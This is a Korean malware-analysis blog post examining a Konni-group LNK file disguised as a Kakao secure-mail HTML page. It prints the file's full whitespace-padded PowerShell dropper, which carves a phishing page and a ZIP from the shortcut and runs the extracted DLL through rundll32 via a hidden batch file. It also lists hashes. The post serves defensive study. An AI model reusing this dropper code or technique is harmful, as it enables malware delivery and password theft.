디지털포렌식/악성코드 샘플 분석

[코니그룹] 카카오 보안메일 악성코드

Lhaaan 2023. 10. 31. 20:00

파일 구성

  • 파일명: 5a3f1d14b9cc4890db64fbc41818d7039f25b0120574dcdec4e20d13e6b2740c.lnk
  • 해시값
    • MD5: 7336068f2c5ed3ed154b6c8b1d72726a
    • SHA-1: e72c90aedd2ef27226d891f464caec19635a6fd3
    • SHA-256: 5a3f1d14b9cc4890db64fbc41818d7039f25b0120574dcdec4e20d13e6b2740c
  • lnk 파일 하나가 들어가 있음, 해당 파일은 html 파일로 위장하려고 icon을 엣지 이미지를 넣음

5a3f1d14b9cc4890db64fbc41818d7039f25b0120574dcdec4e20d13e6b2740c.lnk

  • 해당 파일은 바로가기 파일로 되어 있으며, html 파일이 아님
  • string data 영역에 파워쉘 코드가 숨겨져 있을 것으로 추측됨

 

  • lnk parser를 통해 확인
{
    "data": {
        "command_line_arguments": "                                                                                                                                                                                                     
                                                                                                                                                                                                                                        
                                                                                   /c powershell/W 01 $dirPath = Get-Location;$lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^| where-object {$_.length -eq 0x0000472AC4} ^| Sel
ect-Object -ExpandProperty FullName;if($lnkpath.length -eq 0) {$dirPath = \\\"$env:temp\\\";$lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^| where-object {$_.length -eq 0x0000472AC4} ^| Select-Object -ExpandProperty FullNam
e;};$pdfFile = gc $lnkpath -Encoding Byte -TotalCount 00091900 -ReadCount 00091900;$pdfPath = \\\"$env:temp\\securityMail_1101.html\\\"; sc $pdfPath ([byte[]]($pdfFile ^| select -Skip 004386)) -Encoding Byte; ^& $pdfPath;$exeFile = 
gc $lnkpath -Encoding Byte -TotalCount 04664004 -ReadCount 04664004;$exePath=\\\"$env:public\\17399.zip\\\";sc $exePath ([byte[]]($exeFile ^| select -Skip 00091900)) -Encoding Byte;$shell = new-object -com shell.application;$zip = $
shell.Namespace($exePath);if($zip.items().count -gt 0){$executemodule = $env:public + '\\' + $zip.items().item(0).name;$shell.Namespace($env:public).CopyHere($zip.items().item(0), 1044) ^| out-null;\tremove-item -path $exePath -force;$batPath=\\\"$env:public\\18105.bat\\\";$cmdline=\\\"rundll32.exe `\\\"$executemodule`\\\",Run`r`ndel /f /q %0\\\";sc $batPath $cmdline;start-process -filepath $batPath -windowstyle hidden;};",
        "description": "",
        "icon_location": ".html"
    },
    "extra": {
        "ENVIRONMENTAL_VARIABLES_LOCATION_BLOCK": {
            "size": 788,
            "target_ansi": "%windir%\\system32\\cmd.exe",
            "target_unicode": "%windir%\\system32\\cmd.exe"
        }
            "HasIconLocation",
            "IsUnicode",
            "HasExpString",
            "PreferEnvironmentPath"
        ],
        "modified_time": null,
        "r_file_flags": 0,
        "r_hotkey": 0,
        "r_link_flags": 33555172,
        "windowstyle": "SW_SHOWMINNOACTIVE"
    },
    "link_info": {}
}

 

  • 파일의 크기가 4,664,004 바이트인지 확인 후 해당 파일의 전체 경로를 선택, 0바이트이면 temp 폴더에 있는 모든 lnk 파일을 찾음
  • 파일의 크기가 4,664,004 바이트인지 확인 후 해당 파일의 전체 경로를 선택한 뒤 91900 바이트를 읽어 temp 디렉토리에 “securityMail_1101.html” 생성
    • 처음 4386 바이트는 무시
/c powershell/W 01 $dirPath = Get-Location;$lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^|

where-object {$_.length -eq 0x0000472AC4} ^| Select-Object -ExpandProperty FullName;if($lnkpath.length -eq 0) {$dirPath = \\\"$env:temp\\\";$lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^|

where-object {$_.length -eq 0x0000472AC4} ^| Select-Object -ExpandProperty FullName;};$pdfFile = gc $lnkpath -Encoding Byte -TotalCount 00091900 -ReadCount 00091900;$pdfPath = \\\"$env:temp\\securityMail_1101.html\\\";

sc $pdfPath ([byte[]]($pdfFile ^|select -Skip 004386)) -Encoding Byte; ^& $pdfPath;

 

  • 이번에는 4664004 만큼 읽은 뒤 앞에 91900 빼고 나머지 데이터를 통해 17399.zip파일로 만든 뒤 해당 zip 파일안에 파일의 개수가 0개보다 크면 $executemodule 변수에 담아줌
  • 그 다음 압축을 풀어주고 실행하는 원리
$exeFile = gc $lnkpath -Encoding Byte -TotalCount 04664004 -ReadCount 04664004;$exePath=\\\"$env:public\\17399.zip\\\";

sc $exePath ([byte[]]($exeFile ^| select -Skip 00091900)) -Encoding Byte;
$shell = new-object -com shell.application;$zip = $shell.Namespace($exePath);if($zip.items().count -gt 0){$executemodule = $env:public + '\\' + $zip.items().item(0).name;

$shell.Namespace($env:public).CopyHere($zip.items().item(0), 1044)
  • out-null은 출력을 무시
  • zip 파일 삭제 후 18105.bat batPath 변수에 등록
    • 해당 bat 파일은 보이지 않음, dll 실행하고 난 뒤에 유포지에서 받아오는 파일로 추측
  • rundll32.exe로 zip파일 안에 있는 프로그램들 실행, 배치 파일 또한 콘솔 창 없이 실행
 ^| out-null;\tremove-item -path $exePath -force;$batPath=\\\"$env:public\\18105.bat\\\";$cmdline=\\\"rundll32.exe `\\\"$executemodule`\\\",Run`r`ndel /f /q %0\\\";sc $batPath $cmdline;start-process -filepath $batPath -windowstyle hidden;};"

mfc100.dll

  • zip 파일 안에 해당 dll 파일이 첨부되어 있었음
  • 해당 파일은 themida로 패킹되어 있는 파일, 언패킹해보고 싶은데 쉽지 않다..
  • 해시값
    • MD5: cb675bbebcc4a77cf5a3b341734b84de
    • SHA-1: 39663e144dc00e3eff004895347a91cb78a6f675
    • SHA-256: 0e926d8b6fbf6f14a2a19d4d4af843253f9f5f6de337956a12dde279f3321d78

 

securityMail_1101.html

  • 보안 메일 비밀번호를 입력하는 화면이 보임
  • 비밀번호를 탈취하려는 피싱 사이트로 추정됨
  • html코드에서 어디 서버로 전송되는지는 보이지 않음, dll 파일이랑 뭔가 연관이 있는건지 모르겠음

악성코드 유포지 및 C&C